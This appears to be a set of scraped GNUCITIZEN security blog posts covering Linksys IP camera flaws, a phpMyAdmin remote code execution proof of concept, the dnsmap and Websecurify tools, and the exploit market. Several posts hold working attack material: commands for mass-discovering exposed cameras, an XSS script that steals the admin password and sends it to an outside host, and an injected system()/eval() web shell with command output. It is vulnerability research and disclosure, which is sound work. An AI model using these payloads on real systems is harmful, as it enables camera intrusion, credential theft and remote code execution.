As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of scanning random IP addresses hoping that we’ll eventually come across the type of device we’re interested in.

The second method, which would be much faster in finding our target devices, would be to use a search engine and query content that is unique to our target devices (e.g.: URLs, HTML title). This method, popularized by GHDB is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.

The third method which would allow you to find more “hidden” Linksys IP cameras (i.e.: not cached by search engines a.k.a. the hidden web), would consist of bruteforcing subdomains within dynamic domain names (DDNS) used by our target devices (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:

• linksys-cam.com
• mylinksyscamera.com
• mylinksyshome.com
• mylinksyscam.com
• mylinksysview.com
• linksysremotecam.com
• linksysremoteview.com
• linksyshomemonitor.com

Camera discovery process through subdomain bruteforcing

We first save the aforementioned domains in a file, doms in this case. Then we use dnsmap to bruteforce subdomains for each of the domains included in doms.

Using dnsmap’s built-in wordlist:

$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;

Using a user-supplied wordlist, wordlist_TLAs.txt in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:

$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;

Note: dnsmap’s ‘-i’ option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the DDNS service provider, and would therefore be regarded as false positives in this case (we’re only interested in IP cameras setup by their respective owners after all). For more info on how to use dnsmap, checkout the README file.

We then parse the IP addresses of the subdomains discovered by dnsmap:

$ grep \# dnsmap*.txt | awk '{print $4}' | sort | uniq > ips.txt

Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:

$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`

This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own amap response signature, and then scan the open ports with amap.

Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to appdefs.resp, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:

http-linksys-cam::tcp::^HTTP/.*\nServer: thttpd/.*Accept-Ranges: bytes.*WVC

Please note that the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models. So I'm not sure if it will work against other models. You've been warned!

Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results.

$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`

We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:

$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d \/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
[snip]

At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.

Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:

$ amapfile=amap_results.2010-02-22-102253;for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d \/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm";if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501">/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
[snip]

In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (admin/admin) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

Let me just say that a lot of the bugs that have been fixed, and features that have been added to this version would not be possible without the feedback from great folks such as Borys Lacki (www.bothunters.pl), Philipp Winter (7c0.org) and meathive (kinqpinz.info).

Thanks guys, your feedback was highly valuable to me.

new features

Anyways, the following are some of the new features included:

• IPv6 support
• Makefile included
• delay option (-d) added. This is useful in cases where dnsmap is killing your bandwidth
• ignore IPs option (-i) added. This allows ignoring user-supplied IPs from the results. Useful for domains which cause dnsmap to produce false positives
• changes made to make dnsmap compatible with OpenDNS
• disclosure of internal IP addresses (RFC 1918) are reported
• updated built-in wordlist
• included a standalone three-letter acronym (TLA) subdomains wordlist
• domains susceptible to “same site” scripting are reported
• completion time is now displayed to the user
• mechanism to attempt to bruteforce wildcard-enabled domains
• unique filename containing timestamp is now created when no specific output filename is supplied by user
• various minor bugs fixed

For those who have never used dnsmap, dnsmap is a command line tool originally released in 2006 which helps discover target subdomains and IP ranges during the initial stages of an infrastructure pentest. dnsmap is a passive(ish) discovery tool meant to be used before an actual active attack. It’s an alternative to other discovery techniques such as whois lookups, scanning large IP ranges, etc … Run dnsmap and you should be able spot netblocks of a target organization in a relatively short period of time.

dnsmap is open source and is known to work on Linux, FreeBSD and Windows using Cygwin, although it has mostly been tested on Linux.

The major drawback is lack of multi-threading support, which I’m hoping will be included in the next public release. Life is busy these days, but I’ll try to spend some time on this project when time allows and inspiration is available!

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX.

I successfully tested them on version 1.1, and according to Avaya this is the latest vulnerable version (version 2.0 is NOT affected apparently).

These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. That being said, it could be handy for bypassing restricting imposed by the web GUI and eventually escalate privileges.

Apart from that, there were also the usual client-side bugs such as XSS and CSRF which are usually expected of an appliance with a web interface.

Details can be found on the attached PDF document.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a skydiving gig. It has been two months since that day but memories are still as clear as yesterday.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

These tools are not unfamiliar to modern day penetration testers. In fact, there are plenty of them to choose from, ranging from low-grade command line utilities to high-end frameworks. There are plenty of commercial tools as well some of which are a lot better, in terms of features and false-positives rate, when compared to open source alternatives. People often choose what they are more familiar with. I prefer to use tools that are right for the job without discriminating a particular operating system, platform, and style.

Without further ado, I would like to introduce you yet another tool to compete in the market of automated web application security scanners (not only), released as part of our own Websecurify initiative. The tools is called Websecurify (big surprise) and it is written on the top of common web technologies, which provide significant benefit over other technologies used in open source and commercial alternative products.

Here are some of the key features of Websecurify:

1. It is 100% open source, GPL, CC product, ready to benefit the open source movement
2. The engine employs technologies, such as Web Workers, from the latest HTML5 specs
3. Most of the code is written in JavaScript but many parts can be rewritten or extended with Python, Java and C
4. The core engine can be taken out from the binary bundles and used as part of self-defending web applications. I will talk about this soon.
5. The testing and reporting mechanisms are asynchronous. This means that the report is cooking while the test is performed. It also means that decisions are taken immediately, i.e. they are not scheduled.
6. The tool is cross-platformed thanks to xulrunner
7. Everything is written with extensibility in mind
8. It can be extended in pretty much the same way you can extend Firefox and Thunderbird

There are many other features, which I am going to talk about soon.

At the moment the tool is only available as a MacOS DMG package and source code. The Windows and Linux versions will be released soon. In the future we are planning release all platform specific packages at the same time. Now is just an exception as we are mostly interested to get an early feedback. I am sure that that there will be a lot of bugs to fix and features to add/improve before we reach version 1.0.

Version 0.2 can be downloaded from www.websecurify.com or our source code repository.

If you have any feedback or you would like to contribute to this project, please do let us know. We can use any help possible.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

I’ve been researching, pentesting, and preparing two different presentations which I gave at CONFidence in Krakow, and EUSecWest in London.

pdp has also been busy presenting at AusCERT2009. In his “Weaponry 2.0″, pdp talked about current challenges experienced by pentesters, shared some of his experiments (i.e.: using QEMU) and introduced his Jeriko pentesting environment (NOT framework!).

My CONFidence presentation was on PCI DSS, and credit card theft from a pentester’s perspective. I attempted to explain why it’s possible for unsophisticated criminals to compromise credit card data. I also shared my frustrations with the PCI DSS standards, including some of its current weaknesses.

On the other hand, my EUSecWest presentation was on attacking magstripes gift cards, which apppear to be on the rise in the UK. The core of the research is about cloning (activated) gift cards without physically swiping the magnetic stripes. Trust me when I say that there is a lot of truth on Drago’s tweet regarding this research!

My EUSecWest slides have just been recently published. More details will soon be available on a white paper which will be available on Corsaire Research website.

Thanks

I’d like to thank the organizers of these two great conferences, namely Andrzej Targosz from CONFidence and Dragos Ruiu from EUSecWest (plus their respective crews of course).

Also, special thanks to Corsaire who sponsored the time needed to prepare my presentation. I originally started my magstripe gift cards research about 3 years ago, but left it unattended for so long. If it wasn’t for Corsaire, this research wouldn’t have been resumed.

Finally, but not least, thanks to everyone who helped me prepare my presentations such as Jan Fry, Amir Azam, pavlovs_dog, Monsy Carlo, etc.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

I think this vulnerability is a nice reminder that it’s still possible to perform remote command execution these days without relying on SQL injection (i.e.: xp_cmdshell) or a memory corruption bug (i.e.: heap overflow).

All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.

After reading the public advisory and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from advisory to working attack code.

I’m providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don’t be evil, it’s not worth it.

Demo

$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh 
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/

$ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:

http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/


http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo();

    please send any feedback/improvements for this script to unknown.pentestergmail.com

$ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x   2 root   root  4096 Mar 11 10:12 bin
drwxr-xr-x   3 root   root  4096 May  6 10:01 boot
lrwxrwxrwx   1 root   root    11 Oct 12  2008 cdrom -> media/cdrom
drwxr-xr-x  15 root   root 14300 Jun  5 09:02 dev
drwxr-xr-x 147 root   root 12288 Jun  5 09:02 etc
drwxr-xr-x   3 root   root  4096 Oct 18  2008 home
drwxr-xr-x   2 root   root  4096 Jul  2  2008 initrd
[partial output removed for brevity reasons]

Contents of /config/config.inc.php after our evil code has been successfully injected (injected code shown in bold):

<?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal Čihař <michal@cihar.com>
 * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
 * Date: Tue, 09 Jun 2009 14:13:34 GMT
 */

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo
'<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo
'<pre>';eval($_GET['p']);echo '</pre>';};//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>

Thanks

I’d like to thank Greg Ose for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to str0ke for testing this PoC script and providing such useful feedback!

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

Mounting the filesystem on your workstation

There are many ways to mount the camera’s filesystem using the firmware binary. In this post, we’ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model.

If you were to only use the firmware binary, things could be a bit difficult, as you don’t know the format of the binary at all. However, having the GPL firmware helps a lot as we’ll see next. I emailed Linksys back on Apr 23, 2009 informing them that although the GPL firmware was available on their site for other Linksys products, they hadn’t uploaded the one for the WVC54GCA camera. A few days later, on Apr 27, 2009, Linksys kindly made it available and has been available ever since (the file to download is wvc54gca_v1.00R24.tgz).

Thanks to Lex Landa’s tips I was able to figure out the parameters required to mount the firmware binary, by analysing the data contained in the ./scripts/wvc54gc_usa_english/combine.cfg file which is included with the GPL firmware:

size = 00400000
file = WVC54GCA.bin
f1_name = loader
f1_start = 00000000
f2_name=loader.ver
f2_start=00007FFE
f3_name=kernel
f3_start=00020000
f4_name=filesystem
f4_start=000E0000
f5_name=PID
f5_start=003FFFB2

I simply focused on the kernel and filesystem parameters. The previous settings show that then kernel starts at 0×20000 (131072 bytes / 128 KB), and the filesystem starts at 0xE0000 (917504 bytes / 896 KB). In order to start dd reading at 0xE0000, we need to keep 7 chunks of 131072 bytes. i.e.:7*131072=917504 bytes=0xE0000 (the position we want)

$ dd if=DYFF08-402-1024.bin bs=131072 of=fs.img skip=7
25+0 records in
25+0 records out
3276800 bytes (3.3 MB) copied, 0.019424 s, 169 MB/s

We then verify that our image file is a valid squashfs filesystem:

$ file fs.img 
fs.img: Squashfs filesystem, little endian, version 3.0, 2216311 bytes, 475 inodes, blocksize: 65536 bytes, created: Fri Nov  9 03:58:52 2007

A finally mount it on our hardrive:

$ sudo mkdir /mnt/test
$ sudo mount -t squashfs fs.img /mnt/test -o ro,loop
$ ls /mnt/test/
bin  dev  etc  lib  mnt  proc  root  sbin  tmp  usr  var

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

Got the idea? No! Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. You can either search the map or just use your GPS coordinates to get information such as price of the house, number of floors, number of rooms, pictures taken from inside the house if the house was part of any register (letting agencies etc.) before you moved in, and other interesting information.

This is the kind of information gathering you see only in the movies. I won’t be surprised if future versions of these kind of applications can pool even essential blueprints which show not only how the house was constructed from architectural point of view but also show the power and gas grids and perhaps even any other wiring such as telephone, coaxial, etc.

All of this information is also available through easily accessible APIs. Perhaps these APIs are not publicly known but anyone who can run a sniffer most certainly can get hold of the URLs and their formats. Now mash this APIs with any other tool such as one that correlates IP address to physical location (not very accurate btw) or better yet a wardriving tool and you have a infowar machine in your pocket that will make any criminal organization proud of.

This is the main purpose of my Web2.0 talk/research from two years ago. Back then I made a very simple analogy which I would like to bring once again. When the email was invented nobody even suspected that it will be used for things such as spam and malware. That was something unimaginable. Today spam is the fastest growing criminal industry and malware delivered over email is the most successful one. In summary, we cannot foresee how a technology will be used/abused. That depends on the imagination of the people.

The same goes for the Web2.0 meme. The more we use it, the more ways we will find to abuse it. However it is also important to say that the more we use it the more accustomed we will become to it. Therefore, when the shit hits the fan there will be very little that we can do.

The reason I am bringing this up is not because I would like to start even more FUD around the Web2.0 mem but it is time for security aware people to stop looking into the technical aspects and start thinking in terms of technologies that affect normal people. Sometimes, we just lack the realism and we fail to spot the obvious problems.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

Oh yes, the digital battlefield is taking unusual shapes. The latest manifestation of cyber warfare is a conflict between the Adblock Plus and the NoScript extensions. The story goes that NoScript used some JavaScript tactics and, of course, some obfuscations in order to cripple the Adblock Plus functionalities. This attack was a response to Adblock Plus blocking NoScript ads which you see when you upgrade the extension, which as you know happens quite regularly, don’t know why.

The conflict seems to be resolved now to one degree or another but it is interesting to observe the whole situation and also draw important conclusions. Therefore, I’ve got several points I would like to bring to the table:

1. More examples of similar nature will follow. Keep an eye on Facebook, Apple AppStore, Firefox and other platforms that allow 3rd-party components to be displayed, downloaded and executed.
2. As I mentioned before, a malicious piece of JavaScript code (even an obvious obfuscation) can be quite easily smuggled into harmlessly looking Firefox extensions. If I may speculate, the situation is the same for other similar platforms.
3. Unless platform vendors do something about it, they could become the next hot spot for all sorts of interesting malware.

It is also very interesting to see the extend to which extension developers will go in order to protect their userbase. After all, larger userbase equals more money. And with more people looking to quickly cache in, the battlefield is truly changing for better or worse.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

Of course, requests of that nature were kindly ignored. I couldn’t believe that someone was willing to give me so much money for something I virtually spent 2-3 hours maximum to produce.

Later on, during the CONFidence 2008 event in Krakow I met a bunch of people who claimed that they already sell exploits to various UK companies and the figures that they were making were outstanding. To give you a clue, given the pound dollar difference at that time, you could have made 6 times more than what ZDI and other similar programs can offer you for a top range exploit. This is already better than a top salary in UK.

Same year, different event… I saw an interesting presentation by Robert McArdle from Trend Micro. The presentation was titled Fighting web Based, Profit-Driven Threats. On one of his slides, Robert commented that cybercrime is becoming more profitable than the drug cartels. Perhaps you wont be able to make as much money from carding as you might expect but you can do quite well selling visualized stuff, such as exploits and exploit toolkits.

Present times, DojoSec Monthly Briefings… Matthew Watchinski from Sourcefire VRT talked about a PDF 0day spreading around Xmas time. The exploit took a couple of good months for Adobe to fix it. The author sold it for 75K to a unknown 3rd-party in China according to Matthew. The vulnerability was also relatively easy to find and required very little experience to exploit.

All of this leads to the very obvious conclusion which is that at present times cybercrime is a flourishing industry. Soon, there will be even more recruits coming to join the dark-side forces of the cybercrime cartels. They will do it for the money!

Sell The Bugs

Regardless how good these figures may sound to you, you need to take a step back and think really well what you are getting into. Here are a few points that you need to consider before selling exploits:

• Cybercrime is not a joke – If you get caught selling exploits to a dodgy 3rd-party you may end up with a prison sentence longer than the sentence of a child molester. If you live in US or UK you could be charged and treated as a terrorist which will completely destroy not only your life but the life of your closes people.
• TAX man problems – Oh Yes! Unjustifiable incomes could get you in trouble with the TAX man. The TAX man will hunt you and hurt you.
• Broken legs and other broken parts of the body – You have no idea to whom you are selling to. Tomorrow you may wake up with broken legs and twice as poorer as the day before.
• Even worse – People will kill for a lot less than 75K. Keep that in mind.

In my humble opinion, exploit brokerage is a risky business. There is an unquantifiable risk associated with this practice and that is only due to the high price of exploits which are sold today.

Exploit Sweatshop

Nevertheless, it is just silly to believe that no one is producing and selling exploits in a large scale. Do you remember the numerous gaming sweatshops which sprung up like wild mushrooms after the recent heavy rains in 3rd-world countries? I recall seeing a documentary on a typical day in a Chinese WoW sweatshop. I remember I saw a room full of almost naked people, numerous PCs hooked up into a gigantic DIY network spreading across the entire floor. Most of the WoW accounts were fully automated, running from virtualized platforms.

The aim was simple: a) develop many characters in a semi-automated fashion by killing small animals and other things around the WoW world and b) sell the characters plus other artifacts to western buyers for a substantial amount of money. All of this can be achieved for as little as $70 a month per person. This is a remarkable business model which works extremely well.

Similarly, all you need is a bunch of programmers from India, China, or Eastern Europe to code up fuzzers and run them against as many software products as possible. At the end of the day buffer overflow exploits a relative easy to detect. All you need is a crash caused by putting far too many 0×41 in a buffer. The crash is already an indication that something is wrong. It requires a bit of manual work to figure out whether the crash is exploitable. From personal experience, and by looking into the work of my peers, it takes approximately 10 days to develop a crash into an exploit. Most of the times, the exploitability factor of a crash is apparent and therefore no time needs to be wasted. Other times, a crash can be archived for future investigation when it could become exploitable given it meets the necessary conditions.

Perhaps you can do all that by paying someone as little as $70 a month as it is the case with WoW sweatshops. That is 3 times less than what I am paying for just hosting. Therefore, I most certainly can afford to hire 3-4 people right now and even double their salaries, but let’s do the maths:

# average exploit price: $5000
# number of people to hire: 5
# average monthly salary: $100
# job specs: write fuzzers

5 * 100 = $500 # a month expenses
5000 / 500 = 10 # months worth of work

Heck, I can even put this bill on my credit card and pay as little as $50 a month. The chances that I will sell an exploit for $5K in the next 10 months are pretty high. $5K is only if I go with a legitimate company. I can probably make 6 times more by selling it to a dodgy 3rd-party. The only thing I need to worry about is the risk.

Some Final Words

Finally, I know that a lot of people are into the security business because of all the romanticism and the myths surrounding the hacker figure. Things look different once you become the hacker and your day job and lifestyle are surrounded by hacking and breaking into systems of any sort. There is nothing romantic about it.

So, don’t get into trouble for the wrong reasons. If you are young and you need advice what to do with your career, contact us or contact any one who has been into this industry long enough to give you a good and sensible advice. Just don’t jump onto the No free bugs! bandwagon.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

The version inside the new code repository is very different from the version you’ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. For example, now you can create jeriko scripts like this:

#/usr/bin/env jeriko
# do my jeriko commands here
foreach-input | add-targets
generate-scan-batch | run-in-parallel

This is perhaps the simplest possible script you can write but you see that the jeriko shell could turn into a quite powerful feature. The shell is also a good starting point for many penetration testing jobs as it does some environment checking and preconfigures some defaults for you. The other good news is that you don’t have to learn a new programming language. Your bash skills are good for jeriko too.

Just keep in mind that jeriko is merely an experiment. However, I realize that it has already become quite useful for some people. So, if you enjoy playing with bash scripts, and you you feel adventurous, please join us and make this project happen.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS.

Disclosure of Credentials in Client-side Source Code

As a consumer of embedded products, I find highly frustrating to see how many devices’ web interfaces return passwords back to the browser within HTML source code. I’ve also seen similar problems in some corporate appliances, but is not such as common problem within the enterprise realm.

Visiting the “change admin password” page:

/adm/file.cgi?next_file=pass_wd.htm

Causes the current admin password to be returned (just view the source code with your browser):

<input type="password" size="8" maxlength="64" name="admpw" value="C4mP4ssw0rd" onKeyDown="chkPsize(this.value.length,64,msg_bigpw)">

Visiting the "Wireless Security Page":

/adm/file.cgi?next_file=Wsecurity.htm

Causes the Wi-Fi WEP/WPA/WPA2 encryption key to be returned to the browser:

<input type="text" name="psk" size="24" maxlength="63" value="mywirelesskey">

Obviously this is bad news, as it means that every time the aforementioned pages are visited, credentials travel the clear (the WVC54GCA IP camera doesn't have SSL/TLS support).

Now, I know there are people out there who might find these types of issues not worth fixing. The following is the thinking behind their reasoning.

In the case of the admin password disclosure, some people would argue that this issue wouldn't make a difference security-wise, since the camera uses basic authentication which transmits credentials in the clear (base64 encoding) anyway.

In the case of the wireless encryption key disclosure, some individuals point out that if you can sniff the Wi-Fi encryption key, it means that either 1) you're already part of the wireless network which means you must already know the key, or 2) you are part of the network via an ethernet connection which means that you don't need the wireless key at all.

So why fix these issues then? Well, think of client-side attacks for instance. If you keep reading I'll show you how you can (for instance) use XSS to steal the admin password from the aforementioned page. If the admin password wasn't returned by the web interface, this attack would not be possible, despite basic authentication being used by the camera.

Several XSS bugs

Yes, XSS is the roach of the Internet, it's everywhere and we can't seem to be able to get rid of it! Of course, Linksys IP cameras are no exception. Finding XSS vulns requires virtually no skills (unless you are trying to bypass a strict filter logic). Also, hunting for XSS vulns can be kind of boring. As pdp usually says, "it's not finding XSS bugs which is interesting, but what you can do with it". I couldn't agree more.

Boring PoCs:

/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E

/adm/file.cgi?todo=xss&this_file=%3cscript%3ealert(1)%3c/script%3e

XSS bug #1 works regardless of the authentication state of the victim user. The rest do require the victim user to be logged-in for the injected JS to run within the context of the camera's domain sandbox.

As you can see in the first two XSS vulns, we use img tags, rather then script tags, due to closing script tags being filtered. Once again, the developers have chosen to perform filtering against some parameters, albeit poor filtering.

Admin Password theft XSS PoC

The following is the PoC exploit which steals the admin user's password.

// evil.js : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest && !(window.ActiveXObject)) {
    		try {	
			req = new XMLHttpRequest();
        	} 
		catch(e) {
			req = false;
        	}
    	} 
    	// branch for IE/Windows ActiveX version	
	else if(window.ActiveXObject) {
       		try { 
        		req = new ActiveXObject("Msxml2.XMLHTTP");
      		} 
		catch(e)  {
        		try {
          			req = new ActiveXObject("Microsoft.XMLHTTP");
        		} 
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open("GET", url, true);
		req.send("");
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows "loaded"
    	if (req.readyState == 4) {
        	// only if "OK"
        	if (req.status == 200) { 
			// dirty credentials-scraping code
			var bits=req.responseText.split(/\"/);	
			var gems="";
			for (i=0;i<bits.length;++i) { 
                                if(bits[i]=="adm" && bits[i+1]==" value=") {      
                               		gems+="login="; 
					gems+=bits[i+2];
                                }
                                if(bits[i]=="admpw" && bits[i+1]==" value=") {      
                                       	gems+='&password='; 
					gems+=bits[i+2];    
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src='http://google.com/x.php?'+gems; // URL should point to data-theft script on attacker's site
        	} 
    	}
}

var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url);

http://192.168.1.115/adm/file.cgi?next_file=%3cscript%20src=http://evil.foo/evil.js%3e%3c/script%3e

If you capture the traffic while testing the exploit against yourself you will see the admin login and password being sent to google.com:

Attack Requirements

In order for this exploit to work, the camera admin user must be logged in when the attack occurs. This means that a bit of social engineering is required. For instance, the attacker could setup a forum to "help" users of the WVC54GCA camera by providing tips, FAQs, etc. If the attacker is serious he could use black hat SEO and ad campaigns such as Google AdWords to attract Linksys camera users to visit the site containing the malicious XSS URLs. You get the idea!

Testing Info

All Disclosure of Credentials and XSS vulnerabilities successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

Unlike the previous two vulnerabilities I released, the vulnerabilities I’m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. Nevertheless, these vulnerabilities might be useful for users who want to hack their Linksys IP cameras for modding purposes, rather than being used by an attacker aiming to crack into someone else’s camera.

Two directory traversal vulnerabilities

Today, instead of releasing just one vulnerability I’ll be releasing two! These two vulnerabilities have helped me understand more about how the WVC54GCA wireless camera internals and I’m hoping they will also work on other Linksys camera models. Please let me know if you successfully test them on other models too!

